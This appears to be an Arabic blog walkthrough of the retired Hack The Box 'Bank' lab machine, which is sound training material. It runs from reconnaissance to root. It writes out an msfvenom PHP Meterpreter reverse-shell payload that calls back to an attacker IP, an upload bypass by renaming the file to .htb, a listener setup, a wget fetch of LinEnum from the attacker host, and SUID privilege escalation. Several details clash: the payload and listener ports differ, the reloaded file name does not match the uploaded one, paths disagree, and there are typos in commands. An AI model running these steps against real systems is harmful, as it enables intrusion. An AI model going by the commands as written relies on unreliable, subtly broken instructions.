اختراق آلة Bank في Hack The Box: دليل شامل خطوة بخطوة

دقائق القراءة: 7

مقدمة إلى Hack The Box وتحدي Bank

تُعد منصة Hack The Box (HTB) بيئة تدريبية ممتازة لعشاق الأمن السيبراني واختبار الاختراق، حيث توفر مجموعة واسعة من التحديات التي تُحاكي سيناريوهات حقيقية وأنماط تحديات التقاط العلم (CTF). في هذا المقال، سنستعرض بالتفصيل كيفية اختراق آلة Bank، وهي آلة تُعتبر بسيطة نسبيًا ولكنها تتطلب استطلاعًا دقيقًا للويب للعثور على البيانات اللازمة للدخول.

ملاحظة هامة: نُشير هنا إلى أن هذا الشرح يخص آلة HTB تم إيقافها (retired)، وهو ما يسمح بنشر تفاصيل الاختراق.

شعار Hack The Box مع خلفية رقمية

سنستخدم الأدوات التالية لاختراق هذه الآلة على نظام Kali Linux:

  • Nmap
  • Gobuster
  • Searchsploit
  • Msfconsole
  • Metasploit
  • Meterpreter
  • LinEnum

لنبدأ رحلتنا.

الخطوة 1: الاستطلاع وجمع المعلومات (Reconnaissance)

تُعد مرحلة الاستطلاع هي الأساس قبل محاولة استغلال أي آلة. قضاء وقت كافٍ في هذه المرحلة يُمكن أن يُحدد بشكل كبير مدى نجاحك في الخطوات اللاحقة، حيث ستجمع أكبر قدر ممكن من المعلومات حول الهدف.

فحص المنافذ باستخدام Nmap

سنبدأ باستخدام أداة Nmap (مخطط الشبكة)، وهي أداة مجانية ومفتوحة المصدر لاكتشاف الشبكات وتدقيق الأمن. تستخدم Nmap حزم IP الخام لتحديد المضيفين المتاحين على الشبكة، والخدمات التي يقدمونها، وأنظمة التشغيل التي تعمل عليها، وأنواع مرشحات الحزم/جدران الحماية المستخدمة، وعشرات الخصائص الأخرى.

واجهة Nmap تعرض نتائج فحص المنافذ

لإجراء فحص مكثف، نستخدم الأمر التالي:

nmap -A -v bank.htb
  • -A: تفعيل اكتشاف نظام التشغيل، اكتشاف الإصدارات، فحص السكربتات، وتتبع المسار (traceroute).
  • -v: زيادة مستوى الإسهاب لعرض المزيد من التفاصيل.
  • bank.htb: اسم المضيف لآلة Bank.

إذا كانت النتائج تبدو مُربكة، يمكنك استخدام أمر أبسط للحصول على المنافذ المفتوحة فقط:

nmap bank.htb

نتائج فحص Nmap للمنافذ المفتوحة

من خلال الفحص، نُلاحظ وجود ثلاثة منافذ مفتوحة:

  • المنفذ 22: بروتوكول القشرة الآمنة (SSH)، يُستخدم لتسجيلات الدخول الآمنة ونقل الملفات (scp, sftp) وإعادة توجيه المنافذ.
  • المنفذ 53: نظام أسماء النطاقات (DNS).
  • المنفذ 80: يُستخدم غالبًا لبروتوكول نقل النص التشعبي (HTTP).

فحص الأدلة باستخدام Gobuster

سنستخدم أداة Gobuster، وهي ماسح ضوئي للأدلة مكتوب بلغة Go. تعتمد Gobuster على قوائم الكلمات (wordlists) الموجودة في دليل /usr/share/wordlists على نظام Kali. سنستخدم قوائم كلمات من dirb و dirbuster.

لفحص الأدلة باستخدام قائمة كلمات dirb/common.txt، نستخدم الأمر التالي:

gobuster dir -u bank.htb -w /usr/share/wordlists/dirb/common.txt

نتائج فحص Gobuster تظهر أدلة مثيرة للاهتمام

بعد ملاحظة بعض المجلدات المثيرة للاهتمام، سنجري فحصًا آخر للأدلة باستخدام قائمة كلمات مختلفة وأكثر شمولاً:

gobuster dir -u bank.htb -w /usr/share/worldlists/dirbuster/directory-list-lowercase-2.3-medium.txt

نتائج فحص Gobuster بقائمة كلمات أكبر

الخطوة 2: استكشاف صفحة الويب

بناءً على مرحلة الاستطلاع، سنبدأ بالتعامل مع المنفذ 80، والذي يُشير إلى صفحة Apache2 Ubuntu Default. نحتاج إلى تعيين اسم المضيف (hostname). سنتبع الاصطلاح القياسي لآلات HTB، وهو bank.htb.

صفحة Apache2 Ubuntu Default

نُضيف bank.htb إلى ملف /etc/hosts:

nano /etc/hosts

ثم نضيف السطر التالي:

10.10.10.29 bank.htb

تعديل ملف /etc/hosts لإضافة bank.htb

نتحقق من محتوى الملف باستخدام:

cat /etc/hosts

التحقق من محتوى ملف /etc/hosts

عند التصفح إلى bank.htb، نرى الآن صفحة تسجيل دخول.

صفحة تسجيل الدخول لبنك HTB

من خلال استطلاع gobuster، وجدنا بعض المجلدات. سنتجه إلى /balance-transfer.

صفحة تحويل الرصيد /balance-transfer

عند فحص بعض الملفات، يبدو أن جميعها تحتوي على الاسم الكامل والبريد الإلكتروني وكلمة المرور مشفرة.

ملفات مشفرة في مجلد تحويل الرصيد

نعود إلى الصفحة الرئيسية وننقر على تبويب Size لفرز التحويلات. نلاحظ أن أحد الملفات يختلف عن البقية.

فرز الملفات حسب الحجم

عند النقر على هذا الملف، تظهر رسالة خطأ في الأعلى تُفيد بفشل التشفير لهذا الملف. هذا يسمح لنا برؤية جميع التفاصيل بنص عادي (plain text)!

ملف مكشوف يحتوي على بيانات تسجيل الدخول

نعود إلى لوحة تسجيل الدخول وندخل بيانات الاعتماد التي حصلنا عليها. الآن لدينا وصول إلى لوحة تحكم بنك HTB. لا يوجد شيء مثير للاهتمام في هذه الصفحة، لذا ننتقل إلى صفحة الدعم (Support page).

لوحة تحكم بنك HTB

في صفحة الدعم، يمكننا رفع الملفات. سنحاول رفع حمولة (payload).

صفحة الدعم مع خيار رفع الملفات

الخطوة 3: إنشاء استغلال باستخدام MSFvenom

سنستخدم MSFvenom، وهو مولد حمولات قوي يُستخدم لإنشاء استغلالات مخصصة. يمكنكم معرفة المزيد عنه من خلال التوثيق الخاص به.

واجهة MSFvenom

ولكن أولاً، دعونا نرى في إطار عمل Metasploit Framework أي حمولة يمكننا استخدامها لإنشاء استغلالنا. نعلم أننا بحاجة إلى إنشاء صدفة عكسية (reverse shell)، وهي نوع من الصدفات حيث يتصل الجهاز المستهدف بالجهاز المهاجم. يقوم الجهاز المهاجم بفتح منفذ استماع (listener port) يستقبل عليه الاتصال، ومن خلاله يتم تحقيق تنفيذ التعليمات البرمجية أو الأوامر.

مخطط يوضح آلية عمل الصدفة العكسية

يجب أن تكون الصدفة العكسية من نوع TCP لـ PHP، وسنستخدم Meterpreter. وفقًا لموقع Offensive Security، يُعرف Meterpreter بأنه حمولة متقدمة وقابلة للتوسيع ديناميكيًا، تستخدم مراحل حقن مكتبات DLL في الذاكرة، ويتم توسيعها عبر الشبكة في وقت التشغيل. تتواصل عبر مقبس المرحلة وتوفر واجهة برمجة تطبيقات Ruby شاملة من جانب العميل، وتتميز بسجل الأوامر، والإكمال التلقائي، والقنوات، والمزيد.

شعار Meterpreter

نُطلق Metasploit ونبحث عن حمولات reverse TCP. نستخدم الأمر التالي:

search php meterpreter reverse_tcp

نجد حمولة مثيرة للاهتمام، رقم 594، وهي Reverse TCP Stager. هذه الحمولة تحقن خادم Meterpreter DLL عبر حمولة Reflective Dll Injection وتتصل مرة أخرى بالمهاجم:

payload/php/meterpreter/reverse_tcp

الآن نعود إلى msfvenom لإنشاء استغلالنا.

واجهة MSFvenom لإنشاء الحمولة

نستخدم الأمر التالي لإنشاء الحمولة:

msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.36 lport=443 -f raw > HTBbankshell.php

ثم نتحقق باستخدام ls مما إذا كان الملف قد تم إنشاؤه:

التحقق من إنشاء ملف الحمولة HTBbankshell.php

ونعرض محتوى الملف لرؤية الاستغلال باستخدام:

cat HTBbankshell.php

محتوى ملف الحمولة HTBbankshell.php

نعود إلى صفحة الدعم. نضيف العنوان والرسالة ونرفع الملف في النموذج.

رفع ملف الحمولة على صفحة الدعم

عند النقر على زر الإرسال، تظهر رسالة خطأ. يبدو أن نوع الملف لا يعمل.

رسالة خطأ عند رفع الملف

نتفحص الكود المصدري ونرى تعليقًا يُشير إلى أن امتداد الملف .htb مطلوب لتنفيذ php لأغراض التصحيح فقط.

التعليق في الكود المصدري الذي يوضح امتداد .htb

نقوم بتغيير امتداد الحمولة من HTBbankshell.php إلى HTBbankshell.htb.

تغيير امتداد ملف الحمولة إلى .htb

ملفنا الآن جاهز للرفع على صفحة الدعم.

ملف الحمولة جاهز للرفع

وهذا يبدو أنه يعمل! تم رفع الحمولة بنجاح على صفحة الدعم.

نجاح رفع الحمولة على صفحة الدعم

الخطوة 4: إعداد منفذ استماع (Listener) باستخدام Metasploit

نعود إلى Metasploit حيث نستخدم الأمر التالي لتعيين معالج الحمولة (payload handler):

use exploit/multi/handler

أولاً، نُعين الحمولة:

set payload php/meterpreter/reverse_tcp

ثم نُعين المضيف المحلي (LHOST):

set lhost 10.10.14.36

وأخيرًا، نُعين المنفذ المحلي (LPORT):

set lport 4444

إذا تحققنا من الخيارات الآن، يجب أن نرى أن كل شيء قد تم إعداده.

إعدادات Metasploit handler

لنُشغل الاستغلال. بعد ظهور هذه الرسالة:

Started reverse TCP handler on 10.10.14.36:4444

نعود إلى المتصفح ونُعيد تحميل الصفحة التي تستضيف السكربت الخبيث:

bank.htb/uploads/HTBbankshell.php

تحديث صفحة الحمولة لتفعيل الاتصال

يجب أن ترى بعد ذلك جلسة Meterpreter قد تم إنشاؤها.

جلسة Meterpreter نشطة

نبدأ بجمع بعض المعلومات باستخدام الأمر getuid الذي يُرجع معرف المستخدم الحقيقي للعملية المستدعية، والأمر sysinfo للحصول على معلومات النظام.

أوامر getuid و sysinfo في Meterpreter

الخطوة 5: البحث عن علامة user.txt

نبدأ بالتنقل إلى مجلد الجذر (root) ونُدرج المجلدات/الملفات.

استعراض مجلد الجذر في Meterpreter

ننتقل إلى مجلد home باستخدام:

cd home

ونرى مستخدمًا يُدعى chris.

مجلد المستخدم chris في مجلد home

ننتقل إلى دليل chris، وعندما نُدرج الملفات…

ملفات داخل مجلد chris

نجد ملف user.txt! لقراءة محتوى الملف، نستخدم الأمر:

cat user.txt

الآن بعد أن حصلنا على علامة المستخدم (user flag)، دعنا نجد علامة الجذر (root flag)!

الخطوة 6: تصعيد الامتيازات (Privilege Escalation)

نحاول التنقل إلى مجلد الجذر (root)، ولكن الوصول مرفوض.

رفض الوصول إلى مجلد الجذر

سنستخدم LinEnum لتعداد المزيد من المعلومات من هذه الآلة. LinEnum تُستخدم لتعداد نظام Linux المحلي المبرمج وفحوصات تصعيد الامتيازات.

نجلب LinEnum من GitHub باستخدام:

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

جلب LinEnum.sh باستخدام wget

نتحقق باستخدام هذا الأمر مما إذا كان السكربت قد تم جلبه بشكل صحيح:

ls -la

التحقق من وجود LinEnum.sh

نستخدم الأمر التالي chmod 777 LinEnum.sh لتغيير أذونات الملف وجعله قابلاً للقراءة والكتابة والتنفيذ من قبل الجميع.

chmod 777 LinEnum.sh

تغيير أذونات LinEnum.sh

ضمن meterpreter، نتحقق من موقع الملف باستخدام:

lls -S "LinEnum.sh"

التحقق من موقع LinEnum.sh في Meterpreter

نُشغل خادم php على طرفية أخرى باستخدام:

php -S 10.10.14.36:4444

تشغيل خادم PHP محلي

نكتب الأمر التالي للحصول على صدفة قياسية (standard shell) على النظام المستهدف:

shell

نُنشئ صدفة TTY باستخدام:

python3 -c 'import pty;pty.spawn("/bin/bash/")'

وننقل الملف إلى الآلة باستخدام:

wget http://10.10.14.36:4444/LinEnum.sh -O /tmp/LinEnum.sh

حيث نقوم بنسخ الملف من جهاز Kali الخاص بنا إلى مجلد temp على الآلة المستهدفة.

نقل LinEnum.sh إلى الآلة المستهدفة

ثم ننتقل إلى مجلد temp للتحقق مما إذا كان الملف قد تم نقله بشكل صحيح.

التحقق من وجود LinEnum.sh في مجلد /tmp

ثم نُشغل السكربت باستخدام:

sh ./LinEnum.sh

تشغيل سكربت LinEnum.sh

يُقدم الفحص الكثير من المعلومات. نبحث عن قسم الملفات المثيرة للاهتمام، وتحديدًا قسم ملفات SUID. يُعرف SUID بأنه يمنح أذونات مؤقتة للمستخدم لتشغيل برنامج/ملف بأذونات مالك الملف بدلاً من المستخدم الذي يُشغله.

نُلاحظ ملفًا مثيرًا للاهتمام:

/var/htb/bin/emergency

ملف SUID المشبوه /var/htb/bin/emergency

نتنقل إلى /var/htb/emergency.

التنقل إلى مجلد emergency

نُشغله باستخدام:

./emergency

ويُسأل عما إذا كنا نريد الحصول على صدفة الجذر (root shell). بالطبع!

الحصول على صدفة الجذر

الآن لدينا وصول الجذر إلى الآلة.

وصول الجذر إلى الآلة

يمكننا الآن التنقل إلى مجلد الجذر.

التنقل إلى مجلد الجذر

نجد ملف root.txt! لقراءة محتوى الملف، نستخدم الأمر:

cat root.txt

تهانينا! لقد عثرت على كلتا العلامتين (flags)!

الخلاصة التقنية

يُبرز تحدي Bank في Hack The Box أهمية الاستطلاع الشامل كخطوة أولى حاسمة في أي عملية اختبار اختراق. من خلال استخدام أدوات مثل Nmap و Gobuster، تمكنا من تحديد المنافذ المفتوحة والأدلة المخفية التي قادتنا إلى ثغرة في آلية التشفير، مما سمح بالوصول الأولي إلى لوحة التحكم. تُظهر هذه الحالة كيف أن خطأً بسيطًا في معالجة الملفات يمكن أن يؤدي إلى كشف بيانات حساسة وفتح الباب أمام المهاجمين.

علاوة على ذلك، يُوضح السيناريو فعالية Metasploit Framework و MSFvenom في إنشاء وإدارة الحمولات والصدفات العكسية، خاصة مع Meterpreter الذي يوفر تحكمًا مرنًا في النظام المستهدف. كانت القدرة على تجاوز قيود رفع الملفات بتغيير الامتداد إلى .htb نقطة محورية تُشير إلى أهمية الفحص الدقيق للكود المصدري أو رسائل الخطأ. أخيرًا، تم تصعيد الامتيازات بنجاح باستخدام أداة LinEnum لتحديد ملف SUID قابل للاستغلال (/var/htb/bin/emergency)، مما أكد على ضرورة مراجعة أذونات الملفات بشكل دوري في الأنظمة الحقيقية لمنع الوصول غير المصرح به إلى الجذر. يُعد هذا التحدي مثالًا ممتازًا على دورة حياة الاختراق الكاملة من الاستطلاع إلى تصعيد الامتيازات.

خلفية رقمية مع شعار Hack The Box

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *